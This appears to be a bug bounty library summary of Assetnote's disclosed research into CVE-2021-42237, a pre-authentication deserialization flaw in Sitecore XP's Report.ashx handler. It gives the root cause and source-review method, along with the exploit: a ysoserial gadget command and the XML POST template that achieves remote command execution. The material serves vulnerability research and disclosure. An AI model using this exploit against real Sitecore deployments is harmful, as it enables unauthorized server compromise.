# Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237

Unauthenticated Report.ashx handler in Sitecore XP deserializes attacker XML via NetDataContractSerializer, enabling pre-auth RCE through a ysoserial gadget chain.

- Payout: Research
- Severity: critical
- Program: Sitecore XP
- Credited: Assetnote
- Disclosed: 2024-01-31
- CVE: CVE-2021-42237
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/sitecore-experience-platform-pre-auth-rce-cve-2021-42237
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-sitecore-experience-platform-pre-auth-rce-cve-2021-42237
- Tags: domain:web impact:rce kind:research platform:research sev:critical tech:dotnet technique:chained technique:source-review vuln:deserialization vuln:rce

**Target:** ASP.NET HTTP handler /sitecore/shell/ClientBin/Reporting/Report.ashx
**Root cause:** Report.ashx ProcessRequest passes the request InputStream to ReportDataSerializer.DeserializeQuery, which routes <parameters>/<parameter> nodes into new NetDataContractSerializer().ReadObject() with no authentication or type restrictions.
**Steps:**
1. Decompile bin/ DLLs with ILSpy; map virtual paths from App_Config/Sitecore.config (shell site -> /sitecore/shell).
2. Identify /sitecore/shell/ClientBin/Reporting/Report.ashx mapping to Sitecore.sitecore.shell.ClientBin.Reporting.Report with no auth checks.
3. Trace ProcessReport -> ReportDataSerializer.DeserializeQuery -> DeserializeParameters -> NetDataContractSerializer().ReadObject.
4. Generate payload: `./ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "nslookup <collab>" -o base64 -t`.
5. POST XML to `/sitecore/shell/ClientBin/Reporting/Report.ashx` with `<query></query><source>foo</source><parameters><parameter name="">SERIALIZED_OBJECT</parameter></parameters>` and Content-Type text/xml.
6. Observe DNS callback confirming cmd /c execution.
**How found:** Mapped attack surface by decompiling all bin/ DLLs and correlating Sitecore.config site definitions to physical folders; audited files under sitecore/shell for missing auth, found Report.ashx, then read source to trace request InputStream into deserialization sinks, spotting NetDataContractSerializer in DeserializeParameters.
**Exploitation:** Send a single unauthenticated POST of crafted XML containing a TypeConfuseDelegate gadget (SortedSet/ComparisonComparer -> Process.Start) to Report.ashx; deserialization triggers Process.Start with attacker command, yielding command execution as the IIS app pool user.
**Insight:** Enterprise CMS deployments ship many .ashx/.aspx handlers whose auth is only enforced by config; correlate Sitecore.config site virtualFolder mappings to physical folders and grep decompiled handlers for NetDataContractSerializer/BinaryFormatter sinks reachable from Request.InputStream.